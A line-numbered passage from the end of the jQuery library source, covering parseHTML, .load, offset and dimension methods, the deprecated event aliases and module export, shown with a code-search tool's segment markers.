a function and we have a response 9742 if ( responseContainer && jQuery.isFunction( overwritten ) ) { 9743 overwritten( responseContainer[ 0 ] ); 9744 } 9745 9746 responseContainer = overwritten = undefined; 9747 } ); 9748 9749 // Delegate to script 9750 return "script"; 9751 } 9752} ); 9753 9754 9755 9756 9757// Support: Safari 8 only 9758// In Safari 8 documents created via document.implementation.createHTMLDocument 9759// collapse sibling forms: the second one becomes a child of the first one. 9760// Because of that, this security measure has to be disabled in Safari 8. 9761// https://bugs.webkit.org/show_bug.cgi?id=137337 9762support.createHTMLDocument = ( function() { 9763 var body = document.implementation.createHTMLDocument( "" ).body; 9764 body.innerHTML = "<form></form><form></form>"; 9765 return body.childNodes.length === 2; 9766} )(); 9767 9768 9769// Argument "data" should be string of html 9770// context (optional): If specified, the fragment will be created in this context, 9771// defaults to document 9772// keepScripts (optional): If true, will include scripts passed in the html string 9773jQuery.parseHTML = function( data, context, keepScripts ) { 9774 if ( typeof data !== "string" ) { 9775 return []; 9776 } 9777 if ( typeof context === "boolean" ) { 9778 keepScripts = context; 9779 context = false; 9780 } 9781 9782 var base, parsed, scripts; 9783 9784 if ( !context ) { 9785 9786 // Stop scripts or inline event handlers from being executed immediately 9787 // by using document.implementation 9788 if ( support.createHTMLDocument ) { 9789 context = document.implementation.createHTMLDocument( "" ); 9790 9791 // Set the base href for the created document 9792 // so any parsed elements with URLs 9793 // are based on the document's URL (gh-2965) 9794 base = context.createElement( "base" ); 9795 base.href = document.location.href; 9796 context.head.appendChild( base ); 9797 } else { 9798 context = document; 9799 } 9800 } 9801 9802 parsed = rsingleTag.exec( data ); 9803 scripts = !keepScripts && []; 9804 9805 // Single tag 9806 if ( parsed ) { 9807 return [ context.createElement( parsed[ 1 ] ) ]; 9808 } 9809 9810 parsed = buildFragment( [ data ], context, scripts ); 9811 9812 if ( scripts && scripts.length ) {
vendor: 4,095 bytes, lines 9813-9983
9813 jQuery( scripts ).remove(); 9814 } 9815 9816 return jQuery.merge( [], parsed.childNodes ); 9817}; 9818 9819 9820/** 9821 * Load a url into a page 9822 */ 9823jQuery.fn.load = function( url, params, callback ) { 9824 var selector, type, response, 9825 self = this, 9826 off = url.indexOf( " " ); 9827 9828 if ( off > -1 ) { 9829 selector = stripAndCollapse( url.slice( off ) ); 9830 url = url.slice( 0, off ); 9831 } 9832 9833 // If it's a function 9834 if ( jQuery.isFunction( params ) ) { 9835 9836 // We assume that it's the callback 9837 callback = params; 9838 params = undefined; 9839 9840 // Otherwise, build a param string 9841 } else if ( params && typeof params === "object" ) { 9842 type = "POST"; 9843 } 9844 9845 // If we have elements to modify, make the request 9846 if ( self.length > 0 ) { 9847 jQuery.ajax( { 9848 url: url, 9849 9850 // If "type" variable is undefined, then "GET" method will be used. 9851 // Make value of this field explicit since 9852 // user can override it through ajaxSetup method 9853 type: type || "GET", 9854 dataType: "html", 9855 data: params 9856 } ).done( function( responseText ) { 9857 9858 // Save response for use in complete callback 9859 response = arguments; 9860 9861 self.html( selector ? 9862 9863 // If a selector was specified, locate the right elements in a dummy div 9864 // Exclude scripts to avoid IE 'Permission Denied' errors 9865 jQuery( "<div>" ).append( jQuery.parseHTML( responseText ) ).find( selector ) : 9866 9867 // Otherwise use the full result 9868 responseText ); 9869 9870 // If the request succeeds, this function gets "data", "status", "jqXHR" 9871 // but they are ignored because response was set above. 9872 // If it fails, this function gets "jqXHR", "status", "error" 9873 } ).always( callback && function( jqXHR, status ) { 9874 self.each( function() { 9875 callback.apply( this, response || [ jqXHR.responseText, status, jqXHR ] ); 9876 } ); 9877 } ); 9878 } 9879 9880 return this; 9881}; 9882 9883 9884 9885 9886// Attach a bunch of functions for handling common AJAX events 9887jQuery.each( [ 9888 "ajaxStart", 9889 "ajaxStop", 9890 "ajaxComplete", 9891 "ajaxError", 9892 "ajaxSuccess", 9893 "ajaxSend" 9894], function( i, type ) { 9895 jQuery.fn[ type ] = function( fn ) { 9896 return this.on( type, fn ); 9897 }; 9898} ); 9899 9900 9901 9902 9903jQuery.expr.pseudos.animated = function( elem ) { 9904 return jQuery.grep( jQuery.timers, function( fn ) { 9905 return elem === fn.elem; 9906 } ).length; 9907}; 9908 9909 9910 9911 9912jQuery.offset = { 9913 setOffset: function( elem, options, i ) { 9914 var curPosition, curLeft, curCSSTop, curTop, curOffset, curCSSLeft, calculatePosition, 9915 position = jQuery.css( elem, "position" ), 9916 curElem = jQuery( elem ), 9917 props = {}; 9918 9919 // Set position first, in-case top/left are set even on static elem 9920 if ( position === "static" ) { 9921 elem.style.position = "relative"; 9922 } 9923 9924 curOffset = curElem.offset(); 9925 curCSSTop = jQuery.css( elem, "top" ); 9926 curCSSLeft = jQuery.css( elem, "left" ); 9927 calculatePosition = ( position === "absolute" || position === "fixed" ) && 9928 ( curCSSTop + curCSSLeft ).indexOf( "auto" ) > -1; 9929 9930 // Need to be able to calculate position if either 9931 // top or left is auto and position is either absolute or fixed 9932 if ( calculatePosition ) { 9933 curPosition = curElem.position(); 9934 curTop = curPosition.top; 9935 curLeft = curPosition.left; 9936 9937 } else { 9938 curTop = parseFloat( curCSSTop ) || 0; 9939 curLeft = parseFloat( curCSSLeft ) || 0; 9940 } 9941 9942 if ( jQuery.isFunction( options ) ) { 9943 9944 // Use jQuery.extend here to allow modification of coordinates argument (gh-1848) 9945 options = options.call( elem, i, jQuery.extend( {}, curOffset ) ); 9946 } 9947 9948 if ( options.top != null ) { 9949 props.top = ( options.top - curOffset.top ) + curTop; 9950 } 9951 if ( options.left != null ) { 9952 props.left = ( options.left - curOffset.left ) + curLeft; 9953 } 9954 9955 if ( "using" in options ) { 9956 options.using.call( elem, props ); 9957 9958 } else { 9959 curElem.css( props ); 9960 } 9961 } 9962}; 9963 9964jQuery.fn.extend( { 9965 offset: function( options ) { 9966 9967 // Preserve chaining for setter 9968 if ( arguments.length ) { 9969 return options === undefined ? 9970 this : 9971 this.each( function( i ) { 9972 jQuery.offset.setOffset( this, options, i ); 9973 } ); 9974 } 9975 9976 var doc, docElem, rect, win, 9977 elem = this[ 0 ]; 9978 9979 if ( !elem ) { 9980 return; 9981 } 9982 9983 // Return zeros for disconnected and hidden (display: none) elements (gh-2310)
vendor: 4,119 bytes, lines 9984-10122
9984 // Support: IE <=11 only 9985 // Running getBoundingClientRect on a 9986 // disconnected node in IE throws an error 9987 if ( !elem.getClientRects().length ) { 9988 return { top: 0, left: 0 }; 9989 } 9990 9991 rect = elem.getBoundingClientRect(); 9992 9993 doc = elem.ownerDocument; 9994 docElem = doc.documentElement; 9995 win = doc.defaultView; 9996 9997 return { 9998 top: rect.top + win.pageYOffset - docElem.clientTop, 9999 left: rect.left + win.pageXOffset - docElem.clientLeft 10000 }; 10001 }, 10002 10003 position: function() { 10004 if ( !this[ 0 ] ) { 10005 return; 10006 } 10007 10008 var offsetParent, offset, 10009 elem = this[ 0 ], 10010 parentOffset = { top: 0, left: 0 }; 10011 10012 // Fixed elements are offset from window (parentOffset = {top:0, left: 0}, 10013 // because it is its only offset parent 10014 if ( jQuery.css( elem, "position" ) === "fixed" ) { 10015 10016 // Assume getBoundingClientRect is there when computed position is fixed 10017 offset = elem.getBoundingClientRect(); 10018 10019 } else { 10020 10021 // Get *real* offsetParent 10022 offsetParent = this.offsetParent(); 10023 10024 // Get correct offsets 10025 offset = this.offset(); 10026 if ( !nodeName( offsetParent[ 0 ], "html" ) ) { 10027 parentOffset = offsetParent.offset(); 10028 } 10029 10030 // Add offsetParent borders 10031 parentOffset = { 10032 top: parentOffset.top + jQuery.css( offsetParent[ 0 ], "borderTopWidth", true ), 10033 left: parentOffset.left + jQuery.css( offsetParent[ 0 ], "borderLeftWidth", true ) 10034 }; 10035 } 10036 10037 // Subtract parent offsets and element margins 10038 return { 10039 top: offset.top - parentOffset.top - jQuery.css( elem, "marginTop", true ), 10040 left: offset.left - parentOffset.left - jQuery.css( elem, "marginLeft", true ) 10041 }; 10042 }, 10043 10044 // This method will return documentElement in the following cases: 10045 // 1) For the element inside the iframe without offsetParent, this method will return 10046 // documentElement of the parent window 10047 // 2) For the hidden or detached element 10048 // 3) For body or html element, i.e. in case of the html node - it will return itself 10049 // 10050 // but those exceptions were never presented as a real life use-cases 10051 // and might be considered as more preferable results. 10052 // 10053 // This logic, however, is not guaranteed and can change at any point in the future 10054 offsetParent: function() { 10055 return this.map( function() { 10056 var offsetParent = this.offsetParent; 10057 10058 while ( offsetParent && jQuery.css( offsetParent, "position" ) === "static" ) { 10059 offsetParent = offsetParent.offsetParent; 10060 } 10061 10062 return offsetParent || documentElement; 10063 } ); 10064 } 10065} ); 10066 10067// Create scrollLeft and scrollTop methods 10068jQuery.each( { scrollLeft: "pageXOffset", scrollTop: "pageYOffset" }, function( method, prop ) { 10069 var top = "pageYOffset" === prop; 10070 10071 jQuery.fn[ method ] = function( val ) { 10072 return access( this, function( elem, method, val ) { 10073 10074 // Coalesce documents and windows 10075 var win; 10076 if ( jQuery.isWindow( elem ) ) { 10077 win = elem; 10078 } else if ( elem.nodeType === 9 ) { 10079 win = elem.defaultView; 10080 } 10081 10082 if ( val === undefined ) { 10083 return win ? win[ prop ] : elem[ method ]; 10084 } 10085 10086 if ( win ) { 10087 win.scrollTo( 10088 !top ? val : win.pageXOffset, 10089 top ? val : win.pageYOffset 10090 ); 10091 10092 } else { 10093 elem[ method ] = val; 10094 } 10095 }, method, val, arguments.length ); 10096 }; 10097} ); 10098 10099// Support: Safari <=7 - 9.1, Chrome <=37 - 49 10100// Add the top/left cssHooks using jQuery.fn.position 10101// Webkit bug: https://bugs.webkit.org/show_bug.cgi?id=29084 10102// Blink bug: https://bugs.chromium.org/p/chromium/issues/detail?id=589347 10103// getComputedStyle returns percent when specified for top/left/bottom/right; 10104// rather than make the css module depend on the offset module, just check for it here 10105jQuery.each( [ "top", "left" ], function( i, prop ) { 10106 jQuery.cssHooks[ prop ] = addGetHookIf( support.pixelPosition, 10107 function( elem, computed ) { 10108 if ( computed ) { 10109 computed = curCSS( elem, prop ); 10110 10111 // If curCSS returns percentage, fallback to offset 10112 return rnumnonpx.test( computed ) ? 10113 jQuery( elem ).position()[ prop ] + "px" : 10114 computed; 10115 } 10116 } 10117 ); 10118} ); 10119 10120 10121// Create innerHeight, innerWidth, height, width, outerHeight and outerWidth methods 10122jQuery.each( { Height: "height", Width: "width" }, function( name, type ) {
vendor: 3,677 bytes, lines 10123-10256
10123 jQuery.each( { padding: "inner" + name, content: type, "": "outer" + name }, 10124 function( defaultExtra, funcName ) { 10125 10126 // Margin is only for outerHeight, outerWidth 10127 jQuery.fn[ funcName ] = function( margin, value ) { 10128 var chainable = arguments.length && ( defaultExtra || typeof margin !== "boolean" ), 10129 extra = defaultExtra || ( margin === true || value === true ? "margin" : "border" ); 10130 10131 return access( this, function( elem, type, value ) { 10132 var doc; 10133 10134 if ( jQuery.isWindow( elem ) ) { 10135 10136 // $( window ).outerWidth/Height return w/h including scrollbars (gh-1729) 10137 return funcName.indexOf( "outer" ) === 0 ? 10138 elem[ "inner" + name ] : 10139 elem.document.documentElement[ "client" + name ]; 10140 } 10141 10142 // Get document width or height 10143 if ( elem.nodeType === 9 ) { 10144 doc = elem.documentElement; 10145 10146 // Either scroll[Width/Height] or offset[Width/Height] or client[Width/Height], 10147 // whichever is greatest 10148 return Math.max( 10149 elem.body[ "scroll" + name ], doc[ "scroll" + name ], 10150 elem.body[ "offset" + name ], doc[ "offset" + name ], 10151 doc[ "client" + name ] 10152 ); 10153 } 10154 10155 return value === undefined ? 10156 10157 // Get width or height on the element, requesting but not forcing parseFloat 10158 jQuery.css( elem, type, extra ) : 10159 10160 // Set width or height on the element 10161 jQuery.style( elem, type, value, extra ); 10162 }, type, chainable ? margin : undefined, chainable ); 10163 }; 10164 } ); 10165} ); 10166 10167 10168jQuery.fn.extend( { 10169 10170 bind: function( types, data, fn ) { 10171 return this.on( types, null, data, fn ); 10172 }, 10173 unbind: function( types, fn ) { 10174 return this.off( types, null, fn ); 10175 }, 10176 10177 delegate: function( selector, types, data, fn ) { 10178 return this.on( types, selector, data, fn ); 10179 }, 10180 undelegate: function( selector, types, fn ) { 10181 10182 // ( namespace ) or ( selector, types [, fn] ) 10183 return arguments.length === 1 ? 10184 this.off( selector, "**" ) : 10185 this.off( types, selector || "**", fn ); 10186 } 10187} ); 10188 10189jQuery.holdReady = function( hold ) { 10190 if ( hold ) { 10191 jQuery.readyWait++; 10192 } else { 10193 jQuery.ready( true ); 10194 } 10195}; 10196jQuery.isArray = Array.isArray; 10197jQuery.parseJSON = JSON.parse; 10198jQuery.nodeName = nodeName; 10199 10200 10201 10202 10203// Register as a named AMD module, since jQuery can be concatenated with other 10204// files that may use define, but not via a proper concatenation script that 10205// understands anonymous AMD modules. A named AMD is safest and most robust 10206// way to register. Lowercase jquery is used because AMD module names are 10207// derived from file names, and jQuery is normally delivered in a lowercase 10208// file name. Do this after creating the global so that if an AMD module wants 10209// to call noConflict to hide this version of jQuery, it will work. 10210 10211// Note that for maximum portability, libraries that are not jQuery should 10212// declare themselves as anonymous modules, and avoid setting a global if an 10213// AMD loader is present. jQuery is a special case. For more information, see 10214// https://github.com/jrburke/requirejs/wiki/Updating-existing-libraries#wiki-anon 10215 10216if ( typeof define === "function" && define.amd ) { 10217 define( "jquery", [], function() { 10218 return jQuery; 10219 } ); 10220} 10221 10222 10223 10224 10225var 10226 10227 // Map over jQuery in case of overwrite 10228 _jQuery = window.jQuery, 10229 10230 // Map over the $ in case of overwrite 10231 _$ = window.$; 10232 10233jQuery.noConflict = function( deep ) { 10234 if ( window.$ === jQuery ) { 10235 window.$ = _$; 10236 } 10237 10238 if ( deep && window.jQuery === jQuery ) { 10239 window.jQuery = _jQuery; 10240 } 10241 10242 return jQuery; 10243}; 10244 10245// Expose jQuery and $ identifiers, even in AMD 10246// (#7102#comment:10, https://github.com/jquery/jquery/pull/557) 10247// and CommonJS for browser emulators (#13566) 10248if ( !noGlobal ) { 10249 window.jQuery = window.$ = jQuery; 10250} 10251 10252 10253 10254 10255return jQuery; 10256} );
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.